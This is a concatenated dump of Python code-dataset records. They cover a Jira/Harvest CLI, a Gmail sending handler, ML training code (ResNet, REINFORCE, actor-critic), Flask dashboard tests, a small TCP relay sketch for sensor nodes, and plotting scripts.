taskstatus('Starting harvest timer') as ts:\n lancet.timer.start(issue)\n ts.ok('Started harvest timer')\n\nmain.add_command(workon)\n\n\n@click.command()\n@click.argument('issue')\n@click.pass_obj\ndef time(lancet, issue):\n \"\"\"\n Start an Harvest timer for the given issue.\n\n This command takes care of linking the timer with the issue tracker page\n for the given issue.\n \"\"\"\n issue = get_issue(lancet, issue)\n\n with taskstatus('Starting harvest timer') as ts:\n lancet.timer.start(issue)\n ts.ok('Started harvest timer')\n\nmain.add_command(time)\n\n\n@click.command()\n@click.pass_context\ndef pause(ctx):\n \"\"\"\n Pause work on the current issue.\n\n This command puts the issue in the configured paused status and stops the\n current Harvest timer.\n \"\"\"\n lancet = ctx.obj\n paused_status = lancet.config.get('tracker', 'paused_status')\n\n # Get the issue\n issue = get_issue(lancet)\n\n # Make sure the issue is in a correct status\n transition = get_transition(ctx, lancet, issue, paused_status)\n\n # Activate environment\n set_issue_status(lancet, issue, paused_status, transition)\n\n with taskstatus('Pausing harvest timer') as ts:\n lancet.timer.pause()\n ts.ok('Harvest timer paused')\n\nmain.add_command(pause)\n\n\n@click.command()\n@click.pass_context\ndef resume(ctx):\n \"\"\"\n Resume work on the currently active issue.\n\n The issue is retrieved from the currently active branch name.\n \"\"\"\n lancet = ctx.obj\n\n username = lancet.config.get('tracker', 'username')\n active_status = lancet.config.get('tracker', 'active_status')\n\n # Get the issue\n issue = get_issue(lancet)\n\n # Make sure the issue is in a correct status\n transition = get_transition(ctx, lancet, issue, active_status)\n\n # Make sure the issue is assigned to us\n assign_issue(lancet, issue, username, active_status)\n\n # Activate environment\n set_issue_status(lancet, issue, active_status, transition)\n\n with taskstatus('Resuming harvest timer') as ts:\n lancet.timer.start(issue)\n ts.ok('Resumed harvest timer')\n\nmain.add_command(resume)\n\n\n@click.command(name='pr')\n@click.option('--base', '-b', 'base_branch')\n@click.option('-o', '--open-pr/--no-open-pr', default=False)\n@click.pass_context\ndef pull_request(ctx, base_branch, open_pr):\n \"\"\"Create a new pull request for this issue.\"\"\"\n lancet = ctx.obj\n\n username = lancet.config.get('tracker', 'username')\n review_status = lancet.config.get('tracker', 'review_status')\n remote_name = lancet.config.get('repository', 'remote_name')\n\n if not base_branch:\n base_branch = lancet.config.get('repository', 'base_branch')\n\n # Get the issue\n issue = get_issue(lancet)\n\n transition = get_transition(ctx, lancet, issue, review_status)\n\n # Get the working branch\n branch = get_branch(lancet, issue, create=False)\n\n with taskstatus('Checking pre-requisites') as ts:\n if not branch:\n ts.abort('No working branch found')\n\n assignee = issue.fields.assignee\n if not assignee or assignee.key != username:\n ts.abort('Issue currently not assigned to you')\n\n # TODO: Check mergeability\n\n # TODO: Check remote status (PR does not already exist)\n\n # Push to remote\n with taskstatus('Pushing to \"{}\"', remote_name) as ts:\n remote = lancet.repo.lookup_remote(remote_name)\n if not remote:\n ts.abort('Remote \"{}\" not found', remote_name)\n\n remote.credentials = get_credentials_for_remote(remote)\n remote.push(branch.name)\n\n ts.ok('Pushed latest changes to \"{}\"', remote_name)\n\n # Create pull request\n with taskstatus('Creating pull request') as ts:\n p = giturlparse(remote.url)\n gh_repo = lancet.github.repository(p.owner, p.repo)\n\n message = click.edit(\"{} – {}\\n\\n{}\".format(\n issue.key, issue.fields.summary, issue.permalink()))\n\n if not message:\n ts.abort('You didn\\'t provide a title for the pull request')\n\n title, body = message.split('\\n', 1)\n title = title.strip()\n\n if not title:\n ts.abort('You didn\\'t provide a title for the pull request')\n\n try:\n pr = gh_repo.create_pull(title, base_branch, branch.branch_name,\n body.strip('\\n'))\n except github3.GitHubError as e:\n if len(e.errors) == 1:\n error = e.errors[0]\n if 'pull request already exists' in error['message']:\n ts.ok('Pull request does already exist')\n else:\n ts.abort('Could not create pull request ({})',\n error['message'])\n else:\n raise\n else:\n ts.ok('Pull request created at {}', pr.html_url)\n\n # Update issue\n set_issue_status(lancet, issue, review_status, transition)\n\n # TODO: Post to activity stream on JIRA\n # TODO: Post to HipChat?\n\n # Stop harvest timer\n with taskstatus('Pausing harvest timer') as ts:\n lancet.timer.pause()\n ts.ok('Harvest timer paused')\n\n # Open the pull request page in the browser if requested\n if open_pr:\n click.launch(pr.html_url)\n\nmain.add_command(pull_request)\n\n\n@click.command()\n@click.argument('issue', required=False)\n@click.pass_obj\ndef browse(lancet, issue):\n \"\"\"\n Open the issue tracker page for the given issue in your default browser.\n\n If no issue is provided, the one linked to the current branch is assumed.\n \"\"\"\n click.launch(get_issue(lancet, issue).permalink())\n\nmain.add_command(browse)\n\n\n@click.command()\n@click.option('-f', '--force/--no-force', default=False)\n@click.pass_context\ndef setup(ctx, force):\n \"\"\"Wizard to create the user-level configuration file.\"\"\"\n if os.path.exists(USER_CONFIG) and not force:\n click.secho(\n 'An existing configuration file was found at \"{}\".\\n'\n .format(USER_CONFIG),\n fg='red', bold=True\n )\n click.secho(\n 'Please remove it before in order to run the setup wizard or use\\n'\n 'the --force flag to overwrite it.'\n )\n ctx.exit(1)\n\n tracker_url = click.prompt('URL of the issue tracker')\n tracker_user = click.prompt('Username for {}'.format(tracker_url))\n timer_url = click.prompt('URL of the time tracker')\n timer_user = click.prompt('Username for {}'.format(timer_url))\n\n config = configparser.ConfigParser()\n\n config.add_section('tracker')\n config.set('tracker', 'url', tracker_url)\n config.set('tracker', 'username', tracker_user)\n\n config.add_section('harvest')\n config.set('harvest', 'url', timer_url)\n config.set('harvest', 'username', timer_user)\n\n with open(USER_CONFIG, 'w') as fh:\n config.write(fh)\n\n click.secho('\\nConfiguration correctly written to \"{}\".'\n .format(USER_CONFIG), fg='green')\n\n # TODO: Add wizard to setup shell integration\n\nmain.add_command(setup)\n\n\n@click.command()\n@click.option('-f', '--force/--no-force', default=False)\n@click.pass_context\ndef init(ctx, force):\n \"\"\"Wizard to create a project-level configuration file.\"\"\"\n if os.path.exists(PROJECT_CONFIG) and not force:\n click.secho(\n 'An existing configuration file was found at \"{}\".\\n'\n .format(PROJECT_CONFIG),\n fg='red', bold=True\n )\n click.secho(\n 'Please remove it before in order to run the setup wizard or use\\n'\n 'the --force flag to overwrite it.'\n )\n ctx.exit(1)\n\n project_key = click.prompt('Project key on the issue tracker')\n base_branch = click.prompt('Integration branch', default='master')\n\n virtualenvs = ('.venv', '.env', 'venv', 'env')\n for p in virtualenvs:\n if os.path.exists(os.path.join(p, 'bin', 'activate')):\n venv = p\n break\n else:\n venv = ''\n venv_path = click.prompt('Path to virtual environment', default=venv)\n\n project_id = click.prompt('Project ID on Harvest', type=int)\n task_id = click.prompt('Task id on Harvest', type=int)\n\n config = configparser.ConfigParser()\n\n config.add_section('lancet')\n config.set('lancet', 'virtualenv', venv_path)\n\n config.add_section('tracker')\n config.set('tracker', 'default_project', project_key)\n\n config.add_section('harvest')\n config.set('harvest', 'project_id', project_id)\n config.set('harvest', 'task_id', task_id)\n\n config.add_section('repository')\n config.set('repository', 'base_branch', base_branch)\n\n with open(PROJECT_CONFIG, 'w') as fh:\n config.write(fh)\n\n click.secho('\\nConfiguration correctly written to \"{}\".'\n .format(PROJECT_CONFIG), fg='green')\n\nmain.add_command(init)\n\n\n@click.command()\n@click.argument('service', required=False)\n@click.pass_obj\ndef logout(lancet, service):\n \"\"\"Forget saved passwords for the web services.\"\"\"\n if service:\n services = [service]\n else:\n services = ['tracker', 'harvest']\n\n for service in services:\n url = lancet.config.get(service, 'url')\n key = 'lancet+{}'.format(url)\n username = lancet.config.get(service, 'username')\n with taskstatus('Logging out from {}', url) as ts:\n if keyring.get_password(key, username):\n keyring.delete_password(key, username)\n ts.ok('Logged out from {}', url)\n else:\n ts.ok('Already logged out from {}', url)\n\nmain.add_command(logout)\n\n\n@click.command(name='harvest-projects')\n@click.argument('query', required=False)\n@click.pass_obj\ndef harvest_projects(lancet, query):\n \"\"\"List Harvest projects, optionally filtered with a regexp.\"\"\"\n projects = lancet.timer.projects()\n\n if query:\n regexp = re.compile(query, flags=re.IGNORECASE)\n\n def match(project):\n match = regexp.search(project['name'])\n if match is None:\n return False\n project['match'] = match\n return True\n projects = (p for p in projects if match(p))\n\n for project in sorted(projects, key=lambda p: p['name'].lower()):\n name = project['name']\n\n if 'match' in project:\n m = project['match']\n s, e = m.start(), m.end()\n match = click.style(name[s:e], fg='green')\n name = name[:s] + match + name[e:]\n\n click.echo('{:>9d} {} {}'.format(\n project['id'], click.style('‣', fg='yellow'), name))\n\nmain.add_command(harvest_projects)\n\n\n@click.command(name='harvest-tasks')\n@click.argument('project_id', type=int)\n@click.pass_obj\ndef harvest_tasks(lancet, project_id):\n \"\"\"List Harvest tasks for the given project ID.\"\"\"\n projects = lancet.timer.projects()\n\n for project in projects:\n if project['id'] == project_id:\n click.echo('{:>9d} {} {}'.format(\n project['id'], click.style('‣', fg='yellow'), project['name']))\n click.echo('─' * click.get_terminal_size()[0])\n\n for task in project['tasks']:\n click.echo('{:>9d} {} {}'.format(\n task['id'], click.style('‣', fg='yellow'), task['name']))\n break\n\nmain.add_command(harvest_tasks)\n\n\n# TODO:\n# * review\n# pull\n# ci-status\n# pep8\n# diff\n# mergeability (rebase is of the submitter responsibility)\n# * merge\n# pull, merge, delete\n# * issues\n# list all open/assigned issues (or by filter)\n# * comment\n# adds a comment to the currently active issue\n","sub_path":"lancet/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":20058,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"276842025","text":"accesslog = \"path/to/gunicorn-access.log\" # or None\nerrorlog = \"path/to/gunicorn-error.log\" # or None\nsendfile = False\ndaemon = True\nbind = \"127.0.0.1:8000\"\nbacklog = 2048\nworkers = 2\nthreads = 2\nworker_connections = 1000\nmax_requests = 1000\nmax_requests_jitter = 200\ntimeout = 30\ngraceful_timeout = 30\nkeepalive = 75 # nginx + 10s\n","sub_path":"gunicorn_conf.py","file_name":"gunicorn_conf.py","file_ext":"py","file_size_in_byte":332,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"153646766","text":"import os.path\r\nimport base64\r\nfrom googleapiclient.discovery import build\r\nfrom google_auth_oauthlib.flow import InstalledAppFlow\r\nfrom google.auth.transport.requests import Request\r\nfrom google.oauth2.credentials import Credentials\r\nfrom apiclient import errors\r\nfrom email.mime.text import MIMEText\r\n#from email.mime.base import MIMEBase\r\n#from email.mime.image import MIMEImage\r\n#from email.mime.multipart import MIMEMultipart\r\n#from email.mime.audio import MIMEAudio\r\n#import mimetypes\r\nimport requests\r\n\r\n# If modifying these scopes, delete the file token.json.\r\nSCOPES = ['https://www.googleapis.com/auth/gmail.readonly', 'https://www.googleapis.com/auth/gmail.send', 'https://www.googleapis.com/auth/gmail.modify']\r\n\r\ndef get_service():\r\n \"\"\"Shows basic usage of the Gmail API.\r\n Lists the user's Gmail labels.\r\n \"\"\"\r\n creds = None\r\n # The file token.json stores the user's access and refresh tokens, and is\r\n # created automatically when the authorization flow completes for the first\r\n # time.\r\n if os.path.exists('/var/jail/home/team28/final_project/python/EmailApp/token.json'):\r\n creds = Credentials.from_authorized_user_file('/var/jail/home/team28/final_project/python/EmailApp/token.json', SCOPES)\r\n # If there are no (valid) credentials available, let the user log in.\r\n if not creds or not creds.valid:\r\n if creds and creds.expired and creds.refresh_token:\r\n creds.refresh(Request())\r\n else:\r\n flow = InstalledAppFlow.from_client_secrets_file('/var/jail/home/team28/final_project/python/EmailApp/credentials.json', SCOPES)\r\n creds = flow.run_local_server(port=0)\r\n # Save the credentials for the next run\r\n with open('/var/jail/home/team28/final_project/python/EmailApp/token.json', 'w') as token:\r\n token.write(creds.to_json())\r\n\r\n service = build('gmail', 'v1', credentials=creds)\r\n return service\r\n\r\n'''msg_str = \"This is a test message for Gmail API message.send()\"\r\nsbj_str = \"TEST 1\"\r\nsender = \"608team28@gmail.com\"\r\nreceiver = \"608team28@gmail.com\"'''\r\n\r\ndef create_message(sender, to, subject, message_text):\r\n \"\"\"Create a message for an email.\r\n\r\n Args:\r\n sender: Email address of the sender.\r\n to: Email address of the receiver.\r\n subject: The subject of the email message.\r\n message_text: The text of the email message.\r\n\r\n Returns:\r\n An object containing a base64url encoded email object.\r\n \"\"\"\r\n message = MIMEText(message_text)\r\n message['to'] = to\r\n message['from'] = sender\r\n message['subject'] = subject\r\n return {'raw': base64.urlsafe_b64encode(message.as_string().encode()).decode()}\r\n\r\n\r\ndef send_message(service, user_id, message):\r\n \"\"\"Send an email message.\r\n\r\n Args:\r\n service: Authorized Gmail API service instance.\r\n user_id: User's email address. The special value \"me\"\r\n can be used to indicate the authenticated user.\r\n message: Message to be sent.\r\n\r\n Returns:\r\n Sent Message.\r\n \"\"\"\r\n try:\r\n message = (service.users().messages().send(userId=user_id, body=message).execute())\r\n print ('Message Id: %s' % message['id'])\r\n return message\r\n except errors.HttpError as error:\r\n print ('An error occurred: %s' % error)\r\n\r\ndef request_handler(request):\r\n if request['method']==\"POST\":\r\n try:\r\n msg_str = request['form']['message']\r\n sbj_str = request['form']['subject']\r\n receiver = request['form']['receiver']\r\n sender = request['form']['sender']\r\n except Exception as e:\r\n return e\r\n msg = create_message(sender, receiver, sbj_str, msg_str)\r\n confirmation = send_message(get_service(), sender, msg)\r\n if confirmation:\r\n return \"Your Email has been sent\"\r\n else:\r\n return \"Unsuccessful\"\r\n else:\r\n return \"Invalid request type\"","sub_path":"python/EmailApp/sendMail.py","file_name":"sendMail.py","file_ext":"py","file_size_in_byte":3798,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"559087075","text":"# Copyright 2020 The ElasticDL Authors. All rights reserved.\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport tensorflow as tf\n\nfrom elasticdl.python.common.constants import Mode\nfrom elasticdl.python.elasticdl.callbacks import LearningRateScheduler\nfrom model_zoo.cifar10.data_parser import parse_data\n\n\ndef custom_model():\n input_image = tf.keras.layers.Input(shape=(32, 32, 3), name=\"image\")\n model = tf.keras.applications.ResNet50(\n include_top=True,\n weights=None,\n input_tensor=input_image,\n input_shape=None,\n pooling=None,\n classes=10,\n )\n return model\n\n\ndef loss(labels, predictions):\n labels = tf.reshape(labels, [-1])\n return tf.reduce_mean(\n input_tensor=tf.nn.sparse_softmax_cross_entropy_with_logits(\n logits=predictions, labels=labels\n )\n )\n\n\ndef optimizer(lr=0.1):\n return tf.optimizers.SGD(lr)\n\n\ndef callbacks():\n def _schedule(model_version):\n if model_version < 5000:\n return 0.1\n elif model_version < 15000:\n return 0.01\n else:\n return 0.001\n\n return [LearningRateScheduler(_schedule)]\n\n\ndef feed(dataset, mode, _):\n def _parse_data(record):\n return parse_data(record, mode)\n\n dataset = dataset.map(_parse_data)\n\n if mode == Mode.TRAINING:\n dataset = dataset.shuffle(buffer_size=1024)\n return dataset\n\n\ndef eval_metrics_fn():\n return {\n \"accuracy\": lambda labels, predictions: tf.equal(\n tf.argmax(predictions, 1, output_type=tf.int32),\n tf.cast(tf.reshape(labels, [-1]), tf.int32),\n )\n }\n","sub_path":"model_zoo/cifar10/cifar10_resnet50.py","file_name":"cifar10_resnet50.py","file_ext":"py","file_size_in_byte":2127,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"316870488","text":"import unittest\nfrom time import sleep\n\nfrom flask import Flask, json, jsonify\nfrom flask_monitoringdashboard.core.cache import EndpointInfo\nfrom flask_monitoringdashboard.database import session_scope, Request\n\nfrom flask_monitoringdashboard.test.utils import (\n set_test_environment,\n clear_db\n)\n\n\ndef get_test_app_for_status_code_testing(schedule=False):\n \"\"\"\n :return: Flask Test Application with the right settings\n \"\"\"\n import flask_monitoringdashboard\n\n app = Flask(__name__)\n\n @app.route('/return-a-simple-string')\n def return_a_simple_string():\n return 'Hello, world'\n\n @app.route('/return-a-tuple')\n def return_a_tuple():\n return 'Hello, world', 404\n\n @app.route('/ridiculous-return-value')\n def return_ridiculous_return_value():\n return 'hello', 'ridiculous'\n\n @app.route('/return-jsonify-default-status-code')\n def return_jsonify_default_status_code():\n return jsonify({\n 'apples': 'banana'\n })\n\n @app.route('/return-jsonify-with-custom-status-code')\n def return_jsonify_with_custom_status_code():\n response = jsonify({\n 'cheese': 'pears'\n })\n response.status_code = 401\n return response\n\n @app.route('/unhandled-exception')\n def unhandled_exception():\n potatoes = 1000\n bananas = 0\n\n return potatoes / bananas\n\n app.config['SECRET_KEY'] = flask_monitoringdashboard.config.security_token\n app.testing = True\n flask_monitoringdashboard.user_app = app\n app.config['WTF_CSRF_ENABLED'] = False\n app.config['WTF_CSRF_METHODS'] = []\n flask_monitoringdashboard.config.get_group_by = lambda: '12345'\n flask_monitoringdashboard.bind(app=app, schedule=schedule)\n TEST_CACHE = {'main': EndpointInfo()}\n flask_monitoringdashboard.core.cache.memory_cache = TEST_CACHE\n return app\n\n\nclass TestLogin(unittest.TestCase):\n def setUp(self):\n set_test_environment()\n clear_db()\n self.app = get_test_app_for_status_code_testing()\n\n def test_simple_string_response(self):\n \"\"\"\n An endpoint that just returns a string yields a HTTP 200 status code and should be logged as such.\n \"\"\"\n with self.app.test_client() as c:\n c.get('/return-a-simple-string')\n\n with session_scope() as db_session:\n requests = db_session.query(Request.status_code).all()\n\n self.assertEqual(len(requests), 1)\n self.assertEqual(requests[0][0], 200)\n\n def test_return_a_tuple(self):\n \"\"\"\n An endpoint that returns a tuple should log the second parameter as status_code\n \"\"\"\n with self.app.test_client() as c:\n c.get('/return-a-tuple')\n\n with session_scope() as db_session:\n requests = db_session.query(Request.status_code, Request.endpoint_id).all()\n\n self.assertEqual(len(requests), 1)\n self.assertEqual(requests[0][0], 404)\n\n def test_jsonify_default_status_code(self):\n \"\"\"\n An endpoint that returns a Response as a return value of jsonify without setting the status_cod yields a HTTP\n 200 status and should be logged as such.\n \"\"\"\n with self.app.test_client() as c:\n c.get('/return-jsonify-default-status-code')\n\n with session_scope() as db_session:\n requests = db_session.query(Request.status_code, Request.endpoint_id).all()\n\n self.assertEqual(len(requests), 1)\n self.assertEqual(requests[0][0], 200)\n\n def test_jsonify_with_custom_status_code(self):\n \"\"\"\n An endpoint that returns a Response and has a custom status code assigned should properly log the specified\n status code\n \"\"\"\n with self.app.test_client() as c:\n c.get('/return-jsonify-with-custom-status-code')\n\n with session_scope() as db_session:\n requests = db_session.query(Request.status_code, Request.endpoint_id).all()\n\n self.assertEqual(len(requests), 1)\n self.assertEqual(requests[0][0], 401)\n\n def test_ridiculous_return_value(self):\n \"\"\"\n An endpoint that returns a silly status code like a string should yield a 500 status code\n \"\"\"\n with self.app.test_client() as c:\n c.get('/ridiculous-return-value')\n\n with session_scope() as db_session:\n requests = db_session.query(Request.status_code, Request.endpoint_id).all()\n\n self.assertEqual(len(requests), 1)\n self.assertEqual(requests[0][0], 500)\n\n def test_unhandled_exception(self):\n \"\"\"\n An endpoint that returns a silly status code like a string should yield a 500 status code\n \"\"\"\n with self.app.test_client() as c:\n try:\n c.get('/unhandled-exception')\n except:\n pass\n\n sleep(.5)\n\n with session_scope() as db_session:\n requests = db_session.query(Request.status_code, Request.endpoint_id).all()\n\n self.assertEqual(len(requests), 1)\n self.assertEqual(requests[0][0], 500)\n","sub_path":"flask_monitoringdashboard/test/views/test_status_code_tracking.py","file_name":"test_status_code_tracking.py","file_ext":"py","file_size_in_byte":5235,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"305699337","text":"# -*- coding: utf-8 -*-\n\n\n\"\"\"\n定义所有测试数据\n\n\"\"\"\nimport os\nfrom Params import tools\nfrom Common import Log\nlog = Log.MyLog()\npath_dir = str(os.path.abspath(os.path.join(os.path.dirname(__file__), os.pardir)))\n\n\ndef get_parameter(name):\n data = tools.GetPages().get_page_list()\n param = data[name]\n return param\n\n\nclass Attention:\n log.info('解析yaml, Path:' + path_dir + '\\\\Params\\\\Param\\\\Attention.yml')\n params = get_parameter('Attention')\n url = []\n data = []\n header = []\n for i in range(0, len(params)):\n url.append(params[i]['url'])\n header.append(params[i]['header'])\n data.append(params[i]['body'])\n\n\n\nif __name__ ==\"__main__\":\n print(Attention.data[0])\n\n","sub_path":"Params/params.py","file_name":"params.py","file_ext":"py","file_size_in_byte":727,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"134703134","text":"\"\"\"\nTCP server sketch listening on port 50010 for incoming commands that may be executed locally on the RPi or more likely be \nforwarded on to soil / sensor nodes as JSON-RPC commands to change sampling rates etc - e.g. '{\"method\":\"setUpdateGPS\", \"params\":[1000]}'. This function will need fleshing out and embedding as a separate thread on the main RPi script.\n\"\"\"\n\nimport socket\nimport json\n\nhost = ''\nport = 50010\nbacklog = 5\nsize = 256\n\ndef listenRemoteCommand(host, port, xbee):\n\ts = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\ts.bind((host,port))\n\ts.listen(5)\n\tclient, address = s.accept()\n\twhile True:\n\t\tdata = client.recv(size)\n\t\tif data:\n\t\t\tj = json.loads(data)\n\t\t\taddr = j['addr'] # this will need changing from a hex string to a byte format xbee address using a HexToByte function\n\t\t\td = {}\n\t\t\td['method'] = j['method']\n\t\t\td['params'] = j['params']\n\t\t\txbee.tx(addr, json.dumps(d))\n\n","sub_path":"python/remoteCommand.py","file_name":"remoteCommand.py","file_ext":"py","file_size_in_byte":900,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"626431209","text":"# -*- coding: utf-8 -*-\n\"\"\"Implements Policy for REINFORCE algorithm.\n\"\"\"\nfrom collections import namedtuple\n\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.distributions import Categorical\n\nEPS = np.finfo(np.float32).eps.item()\nSavedAction = namedtuple(\"SavedAction\", [\"log_prob\", \"value\"])\n\n\nclass Reinforce(nn.Module):\n \"\"\"Implements \"REINFORCE\" algorithm with `PyTorch`.\n \n Reference:\n https://github.com/pytorch/examples/tree/master/reinforcement_learning\n \"\"\"\n def __init__(self,\n input_nodes,\n output_nodes,\n gamma=None,\n learning_rate=None,\n optimizer=None):\n super(Reinforce, self).__init__()\n self.fc1 = nn.Linear(input_nodes, 16)\n self.fc2 = nn.Linear(16, 16)\n self.out = nn.Linear(16, output_nodes)\n\n self.saved_log_probs = []\n self.rewards = []\n self.gamma = gamma\n if optimizer is not None:\n self.optimizer = optimizer(self.parameters(), lr=learning_rate)\n\n def forward(self, x):\n x = self.fc1(x)\n x = F.leaky_relu(x)\n x = self.fc2(x)\n x = F.leaky_relu(x)\n x = self.out(x)\n return F.softmax(x, dim=-1)\n\n def select_action(self, observation):\n state = torch.from_numpy(observation).float().unsqueeze(0)\n probs = self(state)\n actions = Categorical(probs)\n action = actions.sample()\n self.saved_log_probs.append(actions.log_prob(action))\n return action.item()\n\n def update(self):\n R = 0\n policy_loss = []\n returns = []\n # Calculates discounted rewards\n for r in self.rewards[::-1]:\n R = R * self.gamma + r\n returns.insert(0, R)\n # Normalizes the returns\n returns = torch.Tensor(returns)\n returns = (returns - returns.mean()) / (returns.std() + EPS)\n for log_prob, ret in zip(self.saved_log_probs, returns):\n policy_loss.append(-log_prob * ret)\n\n self.optimizer.zero_grad()\n policy_loss = torch.cat(policy_loss).sum()\n policy_loss.backward()\n self.optimizer.step()\n\n del self.rewards[:]\n del self.saved_log_probs[:]\n\n\nclass ActorCritic(nn.Module):\n \"\"\"Implements \"Actor-Critic\" algorithm with `PyTorch`.\n \n Reference:\n https://github.com/pytorch/examples/tree/master/reinforcement_learning\n \"\"\"\n def __init__(self,\n input_nodes,\n output_nodes,\n gamma=None,\n learning_rate=None,\n optimizer=None):\n super(ActorCritic, self).__init__()\n self.fc1 = nn.Linear(input_nodes, 16)\n self.fc2 = nn.Linear(16, 16)\n # Actor's layer\n self.action_head = nn.Linear(16, output_nodes)\n # Critic's layer\n self.value_head = nn.Linear(16, 1)\n self.saved_actions = []\n self.rewards = []\n self.gamma = gamma\n if optimizer is not None:\n self.optimizer = optimizer(self.parameters(), lr=learning_rate)\n\n def forward(self, x):\n x = self.fc1(x)\n x = F.leaky_relu(x)\n x = self.fc2(x)\n x = F.leaky_relu(x)\n # Actor chooses the action to take.\n action_prob = F.softmax(self.action_head(x), dim=-1)\n # Critic evaluates.\n state_value = self.value_head(x)\n return action_prob, state_value\n\n def select_action(self, observation):\n state = torch.from_numpy(observation).float().unsqueeze(0)\n probs, state_value = self(state)\n # Probabilities of actions\n actions = Categorical(probs)\n # Takes the action of the highest probability.\n action = actions.sample()\n self.saved_actions.append(\n SavedAction(actions.log_prob(action), state_value))\n return action.item()\n\n def update(self):\n R = 0\n saved_actions = self.saved_actions\n policy_losses = []\n value_losses = []\n returns = []\n # Calculates the discounted value\n for r in self.rewards[::-1]:\n R = r + self.gamma * R\n returns.insert(0, R)\n # Normalizes the returns\n returns = torch.Tensor(returns)\n returns = (returns - returns.mean()) / (returns.std() + EPS)\n\n for (log_prob, value), ret in zip(saved_actions, returns):\n advantage = ret - value.item()\n\n # Calculates actor (policy) loss\n policy_losses.append(-log_prob * advantage)\n\n # Calculates critic (value) loss using L1 smooth loss\n value_loss = F.smooth_l1_loss(value, torch.Tensor([ret]))\n value_losses.append(value_loss)\n\n self.optimizer.zero_grad()\n # Sums up all losses\n loss = (torch.stack(policy_losses).sum() +\n torch.stack(value_losses).sum())\n loss.backward()\n self.optimizer.step()\n\n del self.saved_actions[:]\n del self.rewards[:]\n","sub_path":"policy.py","file_name":"policy.py","file_ext":"py","file_size_in_byte":5023,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"62287388","text":"import json\n\n# Print Dictionary\nthisdict =\t{\n \"brand\": \"Ford\",\n \"model\": \"Mustang\",\n \"year\": 1964\n}\nfor x ,y in thisdict.items():\n print(x,y)\n\n# Copy Dictionary\ncopyDic = thisdict.copy()\nprint(\"Copy: \", copyDic)\n\n# Complex\n\nchild1 = {\n \"name\" : \"Emil\",\n \"year\" : 2004\n}\nchild2 = {\n \"name\" : \"Tobias\",\n \"year\" : 2007\n}\nchild3 = {\n \"name\" : \"Linus\",\n \"year\" : 2011\n}\n\nmyfamily = {\n \"child1\" : child1,\n \"child2\" : child2,\n \"child3\" : child3\n}\n\nprint(myfamily)\n\n# Print as JSON\nprint(json.dumps(myfamily,))\n\n","sub_path":"DictionaryFile.py","file_name":"DictionaryFile.py","file_ext":"py","file_size_in_byte":517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"141544506","text":"class Node:\n \n # this initialize data member \n def __init__(self,data):\n self.left = None\n self.right = None\n self.data = data\n\n '''\n this function call recursive from root to leaf node\n '''\n def print_leaf_to_root(self,n):\n\n # creating list leaf to root node\n L = TreeList(self.data,n)\n if self.left is not None:\n l = self.left\n l.print_leaf_to_root(L)\n if self.right is not None:\n r = self.right\n r.print_leaf_to_root(L)\n\n if self.left is None and self.right is None:\n L.print_list()\n\n'''\n this class for list of data node leaf node to root node\n'''\nclass TreeList:\n def __init__(self,data,nex):\n self.next=nex\n self.data=data\n\n '''\n this function print list \n '''\n def print_list(self):\n if self.next is None:\n print(self.data)\n else:\n print(self.data,end=' ->')\n self.next.print_list()\n\n\n'''\n this code for test recursion function\n as given tree in question\n'''\nroot = Node(1)\nl= root.left= Node(2)\n\nl.left=Node(4)\nl.right= Node(5)\nr= root.right = Node(3)\nl = r.left = Node(6)\nl.left= Node(8)\nl.right = Node(9)\nroot.right.right = Node(7)\n\n# call the function to print\nroot.print_leaf_to_root(None);\n","sub_path":"OJ-Bademosi.py","file_name":"OJ-Bademosi.py","file_ext":"py","file_size_in_byte":1328,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"432044612","text":"#!/usr/bin/env python3\nfrom matplotlib import pyplot as plt\nimport numpy as np\n\nfrom matplotlib.cm import tab10\n\ncolors = tab10.colors\n\n# Data\nN = 200\nx = np.linspace(0, 4 * np.pi, N)\nsin = np.sin(x) + np.random.rand(*x.shape) * np.sin(x) * 0.2 + 10\ncos = np.cos(x) + np.random.rand(*x.shape) * np.cos(x) * 0.2 + 10\nstd_sin = np.random.rand(*x.shape) * 0.2 + 0.4\nstd_cos = np.random.rand(*x.shape) * 0.2 + 0.4\n\n\ndef fl(p, gamma):\n return -((1 - p) ** gamma) * np.log(p)\n\n\nfor gamma in [0, 0.5, 1, 2, 5]:\n x = np.linspace(0, 1, 250)\n plt.plot(x, fl(x, gamma), label=f\"$\\gamma = {gamma}$\")\n\ndef make_content():\n # plt.plot(x, sin, label=\"sin\", color=colors[0])\n # plt.fill_between(x, sin - std_sin, sin + std_sin, alpha=0.3, color=colors[0])\n # plt.plot(x, cos, label=\"cos\", color=colors[1])\n # plt.fill_between(x, cos - std_cos, cos + std_cos, alpha=0.3, color=colors[1])\n # plt.xlabel(\"Some interesting $X$ label\")\n # plt.ylabel(\"Some interesting $Y$ label\")\n\n for gamma, marker in zip([0, 0.5, 1, 2, 5], [\"+\", \"x\", \"d\", \".\", \"*\"]):\n x = np.linspace(0, 1, 250)\n plt.plot(x, fl(x, gamma), label=f\"$\\gamma = {gamma}$\", marker=marker, markersize=4, markevery=10)\n\n # plt.text(x=0.05, 